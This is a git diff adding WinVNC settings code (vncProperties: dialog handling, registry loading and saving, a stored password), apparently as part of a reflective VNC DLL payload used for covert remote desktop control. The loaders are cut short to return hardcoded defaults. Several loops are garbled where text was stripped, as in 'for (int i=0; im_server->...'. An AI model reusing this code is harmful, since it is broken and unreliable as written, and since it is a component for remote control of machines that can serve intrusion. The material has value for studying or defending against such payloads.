PostQuitMessage(0); + } else { + MessageBox(NULL, NO_PASSWD_NO_OVERRIDE_WARN, + "WinVNC Error", + MB_OK | MB_ICONEXCLAMATION); + } + } else { + // If null passwords are not allowed, ensure that one is entered! + if (m_server->AuthRequired()) { + char username[UNLEN+1]; + if (!vncService::CurrentUser(username, sizeof(username))) + return FALSE; + if (strcmp(username, "") == 0) { + MessageBox(NULL, NO_PASSWD_NO_LOGON_WARN, + "WinVNC Error", + MB_OK | MB_ICONEXCLAMATION); + Show(TRUE, FALSE); + } else { + Show(TRUE, TRUE); + } + } + } + } + + return TRUE; +} + +// Dialog box handling functions +void +vncProperties::Show(BOOL show, BOOL usersettings) +{ + if (show) + { + if (!m_allowproperties) + { + // If the user isn't allowed to override the settings then tell them + MessageBox(NULL, NO_OVERRIDE_ERR, "WinVNC Error", MB_OK | MB_ICONEXCLAMATION); + return; + } + + // Verify that we know who is logged on + if (usersettings) { + char username[UNLEN+1]; + if (!vncService::CurrentUser(username, sizeof(username))) + return; + if (strcmp(username, "") == 0) { + MessageBox(NULL, NO_CURRENT_USER_ERR, "WinVNC Error", MB_OK | MB_ICONEXCLAMATION); + return; + } + } else { + // We're trying to edit the default local settings - verify that we can + HKEY hkLocal, hkDefault; + BOOL canEditDefaultPrefs = 1; + DWORD dw; + if (RegCreateKeyEx(HKEY_LOCAL_MACHINE, + WINVNC_REGISTRY_KEY, + 0, REG_NONE, REG_OPTION_NON_VOLATILE, + KEY_READ, NULL, &hkLocal, &dw) != ERROR_SUCCESS) + canEditDefaultPrefs = 0; + else if (RegCreateKeyEx(hkLocal, + "Default", + 0, REG_NONE, REG_OPTION_NON_VOLATILE, + KEY_WRITE | KEY_READ, NULL, &hkDefault, &dw) != ERROR_SUCCESS) + canEditDefaultPrefs = 0; + if (hkLocal) RegCloseKey(hkLocal); + if (hkDefault) RegCloseKey(hkDefault); + + if (!canEditDefaultPrefs) { + MessageBox(NULL, CANNOT_EDIT_DEFAULT_PREFS, "WinVNC Error", MB_OK | MB_ICONEXCLAMATION); + return; + } + } + + // Now, if the dialog is not already displayed, show it! + if (!m_dlgvisible) + { + //if (usersettings) + // //vnclog.Print(LL_INTINFO, VNCLOG("show per-user Properties\n")); + //else + /// //vnclog.Print(LL_INTINFO, VNCLOG("show default system Properties\n")); + + // Load in the settings relevant to the user or system + Load(usersettings); + + for (;;) + { + m_returncode_valid = FALSE; + + // Do the dialog box + int result = DialogBoxParam(hAppInstance, + MAKEINTRESOURCE(IDD_PROPERTIES), + NULL, + (DLGPROC) DialogProc, + (LONG) this); + + if (!m_returncode_valid) + result = IDCANCEL; + + //vnclog.Print(LL_INTINFO, VNCLOG("dialog result = %d\n"), result); + + if (result == -1) + { + // Dialog box failed, so quit + PostQuitMessage(0); + return; + } + + // We're allowed to exit if the password is not empty + char passwd[MAXPWLEN]; + m_server->GetPassword(passwd); + { + vncPasswd::ToText plain(passwd); + if ((strlen(plain) != 0) || !m_server->AuthRequired()) + break; + } + + //vnclog.Print(LL_INTERR, VNCLOG("warning - empty password\n")); + + // The password is empty, so if OK was used then redisplay the box, + // otherwise, if CANCEL was used, close down WinVNC + if (result == IDCANCEL) + { + //vnclog.Print(LL_INTERR, VNCLOG("no password - QUITTING\n")); + PostQuitMessage(0); + return; + } + + // If we reached here then OK was used & there is no password! + int result2 = MessageBox(NULL, NO_PASSWORD_WARN, + "WinVNC Warning", MB_OK | MB_ICONEXCLAMATION); + + omni_thread::sleep(4); + } + + // Load in all the settings + Load(TRUE); + } + } +} + +BOOL CALLBACK +vncProperties::DialogProc(HWND hwnd, + UINT uMsg, + WPARAM wParam, + LPARAM lParam ) +{ + // We use the dialog-box's USERDATA to store a _this pointer + // This is set only once WM_INITDIALOG has been recieved, though! + vncProperties *_this = (vncProperties *) GetWindowLong(hwnd, GWL_USERDATA); + + switch (uMsg) + { + + case WM_INITDIALOG: + { + // Retrieve the Dialog box parameter and use it as a pointer + // to the calling vncProperties object + SetWindowLong(hwnd, GWL_USERDATA, lParam); + _this = (vncProperties *) lParam; + _this->m_dlgvisible = TRUE; + + // Set the dialog box's title to indicate which Properties we're editting + if (_this->m_usersettings) { + SetWindowText(hwnd, "WinVNC: Current User Properties"); + } else { + SetWindowText(hwnd, "WinVNC: Default Local System Properties"); + } + + // Initialise the properties controls + HWND hConnectSock = GetDlgItem(hwnd, IDC_CONNECT_SOCK); + SendMessage(hConnectSock, + BM_SETCHECK, + _this->m_server->SockConnected(), + 0); + + HWND hConnectHTTP = GetDlgItem(hwnd, IDC_CONNECT_HTTP); + SendMessage(hConnectHTTP, + BM_SETCHECK, + _this->m_server->HTTPConnectEnabled(), + 0); + + HWND hConnectCorba = GetDlgItem(hwnd, IDC_CONNECT_CORBA); + SendMessage(hConnectCorba, + BM_SETCHECK, + _this->m_server->CORBAConnected(), + 0); +#if(defined(_CORBA)) + ShowWindow(hConnectCorba, SW_SHOW); +#else + ShowWindow(hConnectCorba, SW_HIDE); +#endif + + HWND hAutoPortNo = GetDlgItem(hwnd, IDC_AUTO_DISPLAY_NO); + SendMessage(hAutoPortNo, + BM_SETCHECK, + _this->m_server->AutoPortSelect(), + 0); + EnableWindow(hAutoPortNo, _this->m_server->SockConnected()); + + HWND hPortNo = GetDlgItem(hwnd, IDC_PORTNO); + SetDlgItemInt(hwnd, IDC_PORTNO, PORT_TO_DISPLAY(_this->m_server->GetPort()), FALSE); + EnableWindow(hPortNo, _this->m_server->SockConnected() + && !_this->m_server->AutoPortSelect()); + + HWND hPassword = GetDlgItem(hwnd, IDC_PASSWORD); + EnableWindow(hPassword, _this->m_server->SockConnected()); + + // Get the password + { + char plain[MAXPWLEN+1]; + _this->m_server->GetPassword(plain); + { + vncPasswd::ToText plainpwd(plain); + int length = strlen(plainpwd); + for (int i=0; im_server->RemoteInputsEnabled()), + 0); + + // Local input settings + HWND hDisableLocalInputs = GetDlgItem(hwnd, IDC_DISABLE_LOCAL_INPUTS); + SendMessage(hDisableLocalInputs, + BM_SETCHECK, + _this->m_server->LocalInputsDisabled(), + 0); + + // Remove the wallpaper + HWND hRemoveWallpaper = GetDlgItem(hwnd, IDC_REMOVE_WALLPAPER); + SendMessage(hRemoveWallpaper, + BM_SETCHECK, + _this->m_server->RemoveWallpaperEnabled(), + 0); + + // Lock settings + HWND hLockSetting; + switch (_this->m_server->LockSettings()) { + case 1: + hLockSetting = GetDlgItem(hwnd, IDC_LOCKSETTING_LOCK); + break; + case 2: + hLockSetting = GetDlgItem(hwnd, IDC_LOCKSETTING_LOGOFF); + break; + default: + hLockSetting = GetDlgItem(hwnd, IDC_LOCKSETTING_NOTHING); + }; + SendMessage(hLockSetting, + BM_SETCHECK, + TRUE, + 0); + + // Set the polling options + HWND hPollFullScreen = GetDlgItem(hwnd, IDC_POLL_FULLSCREEN); + SendMessage(hPollFullScreen, + BM_SETCHECK, + _this->m_server->PollFullScreen(), + 0); + + HWND hPollForeground = GetDlgItem(hwnd, IDC_POLL_FOREGROUND); + SendMessage(hPollForeground, + BM_SETCHECK, + _this->m_server->PollForeground(), + 0); + + HWND hPollUnderCursor = GetDlgItem(hwnd, IDC_POLL_UNDER_CURSOR); + SendMessage(hPollUnderCursor, + BM_SETCHECK, + _this->m_server->PollUnderCursor(), + 0); + + HWND hPollConsoleOnly = GetDlgItem(hwnd, IDC_CONSOLE_ONLY); + SendMessage(hPollConsoleOnly, + BM_SETCHECK, + _this->m_server->PollConsoleOnly(), + 0); + EnableWindow(hPollConsoleOnly, + _this->m_server->PollUnderCursor() || _this->m_server->PollForeground() + ); + + HWND hPollOnEventOnly = GetDlgItem(hwnd, IDC_ONEVENT_ONLY); + SendMessage(hPollOnEventOnly, + BM_SETCHECK, + _this->m_server->PollOnEventOnly(), + 0); + EnableWindow(hPollOnEventOnly, + _this->m_server->PollUnderCursor() || _this->m_server->PollForeground() + ); + + SetForegroundWindow(hwnd); + + return TRUE; + } + + case WM_COMMAND: + switch (LOWORD(wParam)) + { + + case IDOK: + case IDC_APPLY: + { + // Save the password + char passwd[MAXPWLEN+1]; + if (GetDlgItemText(hwnd, IDC_PASSWORD, (LPSTR) &passwd, MAXPWLEN+1) == 0) + { + vncPasswd::FromClear crypt; + _this->m_server->SetPassword(crypt); + } + else + { + char current_pwd[MAXPWLEN+1]; + _this->m_server->GetPassword(current_pwd); + vncPasswd::ToText current(current_pwd); + + BOOL password_changed = FALSE; + for (int i=0; i= 1) && (passwd[i] <= MAXPWLEN)) passwd[i] = current[passwd[i]-1]; + } + if (password_changed) { + //vnclog.Print(LL_INTINFO, VNCLOG("password changed\n")); + vncPasswd::FromText crypt(passwd); + _this->m_server->SetPassword(crypt); + } + } + + // Save the new settings to the server + HWND hAutoDisplayNo = GetDlgItem(hwnd, IDC_AUTO_DISPLAY_NO); + _this->m_server->SetAutoPortSelect( + SendMessage(hAutoDisplayNo, BM_GETCHECK, 0, 0) == BST_CHECKED + ); + + // only save the port number if we're not auto selecting! + if (!_this->m_server->AutoPortSelect()) + { + BOOL success; + UINT portno = GetDlgItemInt(hwnd, IDC_PORTNO, &success, TRUE); + if (success) + _this->m_server->SetPort(DISPLAY_TO_PORT(portno)); + } + + HWND hConnectSock = GetDlgItem(hwnd, IDC_CONNECT_SOCK); + _this->m_server->SockConnect( + SendMessage(hConnectSock, BM_GETCHECK, 0, 0) == BST_CHECKED + ); + + HWND hConnectHTTP = GetDlgItem(hwnd, IDC_CONNECT_HTTP); + _this->m_server->EnableHTTPConnect( + SendMessage(hConnectHTTP, BM_GETCHECK, 0, 0) == BST_CHECKED + ); + + HWND hConnectCorba = GetDlgItem(hwnd, IDC_CONNECT_CORBA); + _this->m_server->CORBAConnect( + SendMessage(hConnectCorba, BM_GETCHECK, 0, 0) == BST_CHECKED + ); + + // Remote input stuff + HWND hEnableRemoteInputs = GetDlgItem(hwnd, IDC_DISABLE_INPUTS); + _this->m_server->EnableRemoteInputs( + SendMessage(hEnableRemoteInputs, BM_GETCHECK, 0, 0) != BST_CHECKED + ); + + // Local input stuff + HWND hDisableLocalInputs = GetDlgItem(hwnd, IDC_DISABLE_LOCAL_INPUTS); + _this->m_server->DisableLocalInputs( + SendMessage(hDisableLocalInputs, BM_GETCHECK, 0, 0) == BST_CHECKED + ); + + // Wallpaper handling + HWND hRemoveWallpaper = GetDlgItem(hwnd, IDC_REMOVE_WALLPAPER); + _this->m_server->EnableRemoveWallpaper( + SendMessage(hRemoveWallpaper, BM_GETCHECK, 0, 0) == BST_CHECKED + ); + + // Lock settings handling + if (SendMessage(GetDlgItem(hwnd, IDC_LOCKSETTING_LOCK), BM_GETCHECK, 0, 0) + == BST_CHECKED) { + _this->m_server->SetLockSettings(1); + } else if (SendMessage(GetDlgItem(hwnd, IDC_LOCKSETTING_LOGOFF), BM_GETCHECK, 0, 0) + == BST_CHECKED) { + _this->m_server->SetLockSettings(2); + } else { + _this->m_server->SetLockSettings(0); + } + + // Handle the polling stuff + HWND hPollFullScreen = GetDlgItem(hwnd, IDC_POLL_FULLSCREEN); + _this->m_server->PollFullScreen( + SendMessage(hPollFullScreen, BM_GETCHECK, 0, 0) == BST_CHECKED + ); + + HWND hPollForeground = GetDlgItem(hwnd, IDC_POLL_FOREGROUND); + _this->m_server->PollForeground( + SendMessage(hPollForeground, BM_GETCHECK, 0, 0) == BST_CHECKED + ); + + HWND hPollUnderCursor = GetDlgItem(hwnd, IDC_POLL_UNDER_CURSOR); + _this->m_server->PollUnderCursor( + SendMessage(hPollUnderCursor, BM_GETCHECK, 0, 0) == BST_CHECKED + ); + + HWND hPollConsoleOnly = GetDlgItem(hwnd, IDC_CONSOLE_ONLY); + _this->m_server->PollConsoleOnly( + SendMessage(hPollConsoleOnly, BM_GETCHECK, 0, 0) == BST_CHECKED + ); + + HWND hPollOnEventOnly = GetDlgItem(hwnd, IDC_ONEVENT_ONLY); + _this->m_server->PollOnEventOnly( + SendMessage(hPollOnEventOnly, BM_GETCHECK, 0, 0) == BST_CHECKED + ); + + // And to the registry + _this->Save(); + + // Was ok pressed? + if (LOWORD(wParam) == IDOK) + { + // Yes, so close the dialog + //vnclog.Print(LL_INTINFO, VNCLOG("enddialog (OK)\n")); + + _this->m_returncode_valid = TRUE; + + EndDialog(hwnd, IDOK); + _this->m_dlgvisible = FALSE; + } + + return TRUE; + } + + case IDCANCEL: + //vnclog.Print(LL_INTINFO, VNCLOG("enddialog (CANCEL)\n")); + + _this->m_returncode_valid = TRUE; + + EndDialog(hwnd, IDCANCEL); + _this->m_dlgvisible = FALSE; + return TRUE; + + case IDC_CONNECT_SOCK: + // The user has clicked on the socket connect tickbox + { + HWND hConnectSock = GetDlgItem(hwnd, IDC_CONNECT_SOCK); + BOOL connectsockon = + (SendMessage(hConnectSock, BM_GETCHECK, 0, 0) == BST_CHECKED); + + HWND hAutoDisplayNo = GetDlgItem(hwnd, IDC_AUTO_DISPLAY_NO); + EnableWindow(hAutoDisplayNo, connectsockon); + + HWND hPortNo = GetDlgItem(hwnd, IDC_PORTNO); + EnableWindow(hPortNo, connectsockon + && (SendMessage(hAutoDisplayNo, BM_GETCHECK, 0, 0) != BST_CHECKED)); + + HWND hPassword = GetDlgItem(hwnd, IDC_PASSWORD); + EnableWindow(hPassword, connectsockon); + } + return TRUE; + + case IDC_POLL_FOREGROUND: + case IDC_POLL_UNDER_CURSOR: + // User has clicked on one of the polling mode buttons + // affected by the pollconsole and pollonevent options + { + // Get the poll-mode buttons + HWND hPollForeground = GetDlgItem(hwnd, IDC_POLL_FOREGROUND); + HWND hPollUnderCursor = GetDlgItem(hwnd, IDC_POLL_UNDER_CURSOR); + + // Determine whether to enable the modifier options + BOOL enabled = (SendMessage(hPollForeground, BM_GETCHECK, 0, 0) == BST_CHECKED) || + (SendMessage(hPollUnderCursor, BM_GETCHECK, 0, 0) == BST_CHECKED); + + HWND hPollConsoleOnly = GetDlgItem(hwnd, IDC_CONSOLE_ONLY); + EnableWindow(hPollConsoleOnly, enabled); + + HWND hPollOnEventOnly = GetDlgItem(hwnd, IDC_ONEVENT_ONLY); + EnableWindow(hPollOnEventOnly, enabled); + } + return TRUE; + + case IDC_AUTO_DISPLAY_NO: + // User has toggled the Auto Port Select feature. + // If this is in use, then we don't allow the Display number field + // to be modified! + { + // Get the auto select button + HWND hPortNoAuto = GetDlgItem(hwnd, IDC_AUTO_DISPLAY_NO); + + // Should the portno field be modifiable? + BOOL enable = SendMessage(hPortNoAuto, BM_GETCHECK, 0, 0) != BST_CHECKED; + + // Set the state + HWND hPortNo = GetDlgItem(hwnd, IDC_PORTNO); + EnableWindow(hPortNo, enable); + } + return TRUE; + + } + + break; + } + return 0; +} + +// Functions to load & save the settings +LONG +vncProperties::LoadInt(HKEY key, LPCSTR valname, LONG defval) +{ + LONG pref; + ULONG type = REG_DWORD; + ULONG prefsize = sizeof(pref); + + if (RegQueryValueEx(key, + valname, + NULL, + &type, + (LPBYTE) &pref, + &prefsize) != ERROR_SUCCESS) + return defval; + + if (type != REG_DWORD) + return defval; + + if (prefsize != sizeof(pref)) + return defval; + + return pref; +} + +void +vncProperties::LoadPassword(HKEY key, char *buffer) +{ + DWORD type = REG_BINARY; + int slen=MAXPWLEN; + char inouttext[MAXPWLEN]; + + // Retrieve the encrypted password + if (RegQueryValueEx(key, + "Password", + NULL, + &type, + (LPBYTE) &inouttext, + (LPDWORD) &slen) != ERROR_SUCCESS) + return; + + if (slen > MAXPWLEN) + return; + + memcpy(buffer, inouttext, MAXPWLEN); +} + +char * +vncProperties::LoadString(HKEY key, LPCSTR keyname) +{ + DWORD type = REG_SZ; + DWORD buflen = 0; + BYTE *buffer = 0; + + // Get the length of the AuthHosts string + if (RegQueryValueEx(key, + keyname, + NULL, + &type, + NULL, + &buflen) != ERROR_SUCCESS) + return 0; + + if (type != REG_SZ) + return 0; + buffer = new BYTE[buflen]; + if (buffer == 0) + return 0; + + // Get the AuthHosts string data + if (RegQueryValueEx(key, + keyname, + NULL, + &type, + buffer, + &buflen) != ERROR_SUCCESS) { + delete [] buffer; + return 0; + } + + // Verify the type + if (type != REG_SZ) { + delete [] buffer; + return 0; + } + + return (char *)buffer; +} + +void +vncProperties::Load(BOOL usersettings) +{ + // Initialize to 'sane' defaults for our purposes + m_pref_QuerySetting=2; + m_pref_QueryTimeout=10; + m_pref_IdleTimeout=0; + m_pref_EnableRemoteInputs=TRUE; + m_pref_DisableLocalInputs=TRUE; + m_pref_PollUnderCursor=FALSE; + m_pref_PollForeground=TRUE; + m_pref_PollFullScreen=TRUE; + + return; + + char username[UNLEN+1]; + HKEY hkLocal, hkLocalUser, hkDefault; + DWORD dw; + + // NEW (R3) PREFERENCES ALGORITHM + // 1. Look in HKEY_LOCAL_MACHINE/Software/ORL/WinVNC3/%username% + // for sysadmin-defined, user-specific settings. + // 2. If not found, fall back to %username%=Default + // 3. If AllowOverrides is set then load settings from + // HKEY_CURRENT_USER/Software/ORL/WinVNC3 + + // GET THE CORRECT KEY TO READ FROM + + // Get the user name / service name + if (!vncService::CurrentUser((char *)&username, sizeof(username))) + return; + + // If there is no user logged on them default to SYSTEM + if (strcmp(username, "") == 0) + strcpy((char *)&username, "SYSTEM"); + + // Try to get the machine registry key for WinVNC + if (RegCreateKeyEx(HKEY_LOCAL_MACHINE, + WINVNC_REGISTRY_KEY, + 0, REG_NONE, REG_OPTION_NON_VOLATILE, + KEY_READ, NULL, &hkLocal, &dw) != ERROR_SUCCESS) + return; + + // Now try to get the per-user local key + if (RegOpenKeyEx(hkLocal, + username, + 0, KEY_READ, + &hkLocalUser) != ERROR_SUCCESS) + hkLocalUser = NULL; + + // Get the default key + if (RegCreateKeyEx(hkLocal, + "Default", + 0, REG_NONE, REG_OPTION_NON_VOLATILE, + KEY_READ, + NULL, + &hkDefault, + &dw) != ERROR_SUCCESS) + hkDefault = NULL; + + // LOAD THE MACHINE-LEVEL PREFS + + // Logging/debugging prefs + //vnclog.Print(LL_INTINFO, VNCLOG("loading local-only settings\n")); + //vnclog.SetMode(LoadInt(hkLocal, "DebugMode", 0)); + //vnclog.SetLevel(LoadInt(hkLocal, "DebugLevel", 0)); + + // Authentication required, loopback allowed, loopbackOnly + m_server->SetLoopbackOnly(LoadInt(hkLocal, "LoopbackOnly", false)); + if (m_server->LoopbackOnly()) + m_server->SetLoopbackOk(true); + else + m_server->SetLoopbackOk(LoadInt(hkLocal, "AllowLoopback", false)); + m_server->SetAuthRequired(LoadInt(hkLocal, "AuthRequired", true)); + m_server->SetConnectPriority(LoadInt(hkLocal, "ConnectPriority", 0)); + if (!m_server->LoopbackOnly()) + { + char *authhosts = LoadString(hkLocal, "AuthHosts"); + if (authhosts != 0) { + m_server->SetAuthHosts(authhosts); + delete [] authhosts; + } else { + m_server->SetAuthHosts(0); + } + } else { + m_server->SetAuthHosts(0); + } + + // LOAD THE USER PREFERENCES + + // Set the default user prefs + //vnclog.Print(LL_INTINFO, VNCLOG("clearing user settings\n")); + m_pref_HTTPConnect = TRUE; + m_pref_AutoPortSelect=TRUE; + m_pref_PortNumber=5900; + m_pref_SockConnect=TRUE; + m_pref_CORBAConn=FALSE; + { + vncPasswd::FromClear crypt; + memcpy(m_pref_passwd, crypt, MAXPWLEN); + } + m_pref_QuerySetting=2; + m_pref_QueryTimeout=10; + m_pref_IdleTimeout=0; + m_pref_EnableRemoteInputs=TRUE; + m_pref_DisableLocalInputs=FALSE; + m_pref_LockSettings=-1; + m_pref_PollUnderCursor=FALSE; + m_pref_PollForeground=TRUE; + m_pref_PollFullScreen=FALSE; + m_pref_PollConsoleOnly=TRUE; + m_pref_PollOnEventOnly=FALSE; + m_pref_RemoveWallpaper=TRUE; + m_alloweditclients = TRUE; + m_allowshutdown = TRUE; + m_allowproperties = TRUE; + + // Load the local prefs for this user + if (hkDefault != NULL) + { + //vnclog.Print(LL_INTINFO, VNCLOG("loading DEFAULT local settings\n")); + LoadUserPrefs(hkDefault); + m_allowshutdown = LoadInt(hkDefault, "AllowShutdown", m_allowshutdown); + m_allowproperties = LoadInt(hkDefault, "AllowProperties", m_allowproperties); + m_alloweditclients = LoadInt(hkDefault, "AllowEditClients", m_alloweditclients); + } + + // Are we being asked to load the user settings, or just the default local system settings? + if (usersettings) { + // We want the user settings, so load them! + + if (hkLocalUser != NULL) + { + //vnclog.Print(LL_INTINFO, VNCLOG("loading \"%s\" local settings\n"), username); + LoadUserPrefs(hkLocalUser); + m_allowshutdown = LoadInt(hkLocalUser, "AllowShutdown", m_allowshutdown); + m_allowproperties = LoadInt(hkLocalUser, "AllowProperties", m_allowproperties); + m_alloweditclients = LoadInt(hkLocalUser, "AllowEditClients", m_alloweditclients); + } + + // Now override the system settings with the user's settings + // If the username is SYSTEM then don't try to load them, because there aren't any... + if (m_allowproperties && (strcmp(username, "SYSTEM") != 0)) + { + HKEY hkGlobalUser; + if (RegCreateKeyEx(HKEY_CURRENT_USER, + WINVNC_REGISTRY_KEY, + 0, REG_NONE, REG_OPTION_NON_VOLATILE, + KEY_READ, NULL, &hkGlobalUser, &dw) == ERROR_SUCCESS) + { + //vnclog.Print(LL_INTINFO, VNCLOG("loading \"%s\" global settings\n"), username); + LoadUserPrefs(hkGlobalUser); + RegCloseKey(hkGlobalUser); + + // Close the user registry hive so it can unload if required + RegCloseKey(HKEY_CURRENT_USER); + } + } + }// else { + // //vnclog.Print(LL_INTINFO, VNCLOG("bypassing user-specific settings (both local and global)\n")); + //} + + if (hkLocalUser != NULL) RegCloseKey(hkLocalUser); + if (hkDefault != NULL) RegCloseKey(hkDefault); + RegCloseKey(hkLocal); + + // Make the loaded settings active.. + ApplyUserPrefs(); + + // Note whether we loaded the user settings or just the default system settings + m_usersettings = usersettings; +} + +void +vncProperties::LoadUserPrefs(HKEY appkey) +{ + // LOAD USER PREFS FROM THE SELECTED KEY + + return; + + // Connection prefs + m_pref_SockConnect=LoadInt(appkey, "SocketConnect", m_pref_SockConnect); + m_pref_HTTPConnect=LoadInt(appkey, "HTTPConnect", m_pref_HTTPConnect); + m_pref_AutoPortSelect=LoadInt(appkey, "AutoPortSelect", m_pref_AutoPortSelect); + m_pref_PortNumber=LoadInt(appkey, "PortNumber", m_pref_PortNumber); + m_pref_IdleTimeout=LoadInt(appkey, "IdleTimeout", m_pref_IdleTimeout); + + m_pref_RemoveWallpaper=LoadInt(appkey, "RemoveWallpaper", m_pref_RemoveWallpaper); + + // Connection querying settings + m_pref_QuerySetting=LoadInt(appkey, "QuerySetting", m_pref_QuerySetting); + m_pref_QueryTimeout=LoadInt(appkey, "QueryTimeout", m_pref_QueryTimeout); + + // Load the password + LoadPassword(appkey, m_pref_passwd); + + // CORBA Settings + m_pref_CORBAConn=LoadInt(appkey, "CORBAConnect", m_pref_CORBAConn); + + // Remote access prefs + m_pref_EnableRemoteInputs=LoadInt(appkey, "InputsEnabled", m_pref_EnableRemoteInputs); + m_pref_LockSettings=LoadInt(appkey, "LockSetting", m_pref_LockSettings); + m_pref_DisableLocalInputs=LoadInt(appkey, "LocalInputsDisabled", m_pref_DisableLocalInputs); + + // Polling prefs + m_pref_PollUnderCursor=LoadInt(appkey, "PollUnderCursor", m_pref_PollUnderCursor); + m_pref_PollForeground=LoadInt(appkey, "PollForeground", m_pref_PollForeground); + m_pref_PollFullScreen=LoadInt(appkey, "PollFullScreen", m_pref_PollFullScreen); + m_pref_PollConsoleOnly=LoadInt(appkey, "OnlyPollConsole", m_pref_PollConsoleOnly); + m_pref_PollOnEventOnly=LoadInt(appkey, "OnlyPollOnEvent", m_pref_PollOnEventOnly); +} + +void +vncProperties::ApplyUserPrefs() +{ + // APPLY THE CACHED PREFERENCES TO THE SERVER + + // Update the connection querying settings + m_server->SetQuerySetting(m_pref_QuerySetting); + m_server->SetQueryTimeout(m_pref_QueryTimeout); + m_server->SetAutoIdleDisconnectTimeout(m_pref_IdleTimeout); + m_server->EnableRemoveWallpaper(m_pref_RemoveWallpaper); + + // Is the listening socket closing? + if (!m_pref_SockConnect) + m_server->SockConnect(m_pref_SockConnect); + m_server->EnableHTTPConnect(m_pref_HTTPConnect); + + // Are inputs being disabled? + if (!m_pref_EnableRemoteInputs) + m_server->EnableRemoteInputs(m_pref_EnableRemoteInputs); + if (m_pref_DisableLocalInputs) + m_server->DisableLocalInputs(m_pref_DisableLocalInputs); + + // Update the password + m_server->SetPassword(m_pref_passwd); + + // Now change the listening port settings + m_server->SetAutoPortSelect(m_pref_AutoPortSelect); + if (!m_pref_AutoPortSelect) + m_server->SetPort(m_pref_PortNumber); + m_server->SockConnect(m_pref_SockConnect); + + // Set the CORBA connection status + m_server->CORBAConnect(m_pref_CORBAConn); + + // Remote access prefs + m_server->EnableRemoteInputs(m_pref_EnableRemoteInputs); + m_server->SetLockSettings(m_pref_LockSettings); + m_server->DisableLocalInputs(m_pref_DisableLocalInputs); + + // Polling prefs + m_server->PollUnderCursor(m_pref_PollUnderCursor); + m_server->PollForeground(m_pref_PollForeground); + m_server->PollFullScreen(m_pref_PollFullScreen); + m_server->PollConsoleOnly(m_pref_PollConsoleOnly); + m_server->PollOnEventOnly(m_pref_PollOnEventOnly); +} + +void +vncProperties::SaveInt(HKEY key, LPCSTR valname, LONG val) +{ + RegSetValueEx(key, valname, 0, REG_DWORD, (LPBYTE) &val, sizeof(val)); +} + +void +vncProperties::SavePassword(HKEY key, char *buffer) +{ + RegSetValueEx(key, "Password", 0, REG_BINARY, (LPBYTE) buffer, MAXPWLEN); +} + +void +vncProperties::Save() +{ + HKEY appkey; + DWORD dw; + + if (!m_allowproperties) + return; + + // NEW (R3) PREFERENCES ALGORITHM + // The user's prefs are only saved if the user is allowed to override + // the machine-local settings specified for them. Otherwise, the + // properties entry on the tray icon menu will be greyed out. + + // GET THE CORRECT KEY TO READ FROM + + // Have we loaded user settings, or system settings? + if (m_usersettings) { + // Verify that we know who is logged on + char username[UNLEN+1]; + if (!vncService::CurrentUser((char *)&username, sizeof(username))) + return; + if (strcmp(username, "") == 0) + return; + + // Try to get the per-user, global registry key for WinVNC + if (RegCreateKeyEx(HKEY_CURRENT_USER, + WINVNC_REGISTRY_KEY, + 0, REG_NONE, REG_OPTION_NON_VOLATILE, + KEY_WRITE | KEY_READ, NULL, &appkey, &dw) != ERROR_SUCCESS) + return; + } else { + // Try to get the default local registry key for WinVNC + HKEY hkLocal; + if (RegCreateKeyEx(HKEY_LOCAL_MACHINE, + WINVNC_REGISTRY_KEY, + 0, REG_NONE, REG_OPTION_NON_VOLATILE, + KEY_READ, NULL, &hkLocal, &dw) != ERROR_SUCCESS) { + MessageBox(NULL, "MB1", "WVNC", MB_OK); + return; + } + if (RegCreateKeyEx(hkLocal, + "Default", + 0, REG_NONE, REG_OPTION_NON_VOLATILE, + KEY_WRITE | KEY_READ, NULL, &appkey, &dw) != ERROR_SUCCESS) { + RegCloseKey(hkLocal); + return; + } + RegCloseKey(hkLocal); + } + + // SAVE PER-USER PREFS IF ALLOWED + SaveUserPrefs(appkey); + + RegCloseKey(appkey); + + // Close the user registry hive, to allow it to unload if reqd + RegCloseKey(HKEY_CURRENT_USER); +} + +void +vncProperties::SaveUserPrefs(HKEY appkey) +{ + // SAVE THE PER USER PREFS + //vnclog.Print(LL_INTINFO, VNCLOG("saving current settings to registry\n")); + + // Connection prefs + SaveInt(appkey, "SocketConnect", m_server->SockConnected()); + SaveInt(appkey, "HTTPConnect", m_server->HTTPConnectEnabled()); + SaveInt(appkey, "AutoPortSelect", m_server->AutoPortSelect()); + if (!m_server->AutoPortSelect()) + SaveInt(appkey, "PortNumber", m_server->GetPort()); + SaveInt(appkey, "InputsEnabled", m_server->RemoteInputsEnabled()); + SaveInt(appkey, "LocalInputsDisabled", m_server->LocalInputsDisabled()); + SaveInt(appkey, "IdleTimeout", m_server->AutoIdleDisconnectTimeout()); + + // Connection querying settings + SaveInt(appkey, "QuerySetting", m_server->QuerySetting()); + SaveInt(appkey, "QueryTimeout", m_server->QueryTimeout()); + + // Lock settings + SaveInt(appkey, "LockSetting", m_server->LockSettings()); + + // Wallpaper removal + SaveInt(appkey, "RemoveWallpaper", m_server->RemoveWallpaperEnabled()); + + // Save the password + char passwd[MAXPWLEN]; + m_server->GetPassword(passwd); + SavePassword(appkey, passwd); + +#if(defined(_CORBA)) + // Don't save the CORBA enabled flag if CORBA is not compiled in! + SaveInt(appkey, "CORBAConnect", m_server->CORBAConnected()); +#endif + + // Polling prefs + SaveInt(appkey, "PollUnderCursor", m_server->PollUnderCursor()); + SaveInt(appkey, "PollForeground", m_server->PollForeground()); + SaveInt(appkey, "PollFullScreen", m_server->PollFullScreen()); + + SaveInt(appkey, "OnlyPollConsole", m_server->PollConsoleOnly()); + SaveInt(appkey, "OnlyPollOnEvent", m_server->PollOnEventOnly()); +} diff --git a/external/source/reflective_vncdll/winvnc/winvnc/vncproperties.h b/external/source/reflective_vncdll/winvnc/winvnc/vncproperties.h new file mode 100644 index 0000000000..f6645026f6 --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/vncproperties.h @@ -0,0 +1,127 @@ +// Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. +// +// This file is part of the VNC system. +// +// The VNC system is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. +// +// If the source code for the VNC system is not available from the place +// whence you received this file, check http://www.uk.research.att.com/vnc or contact 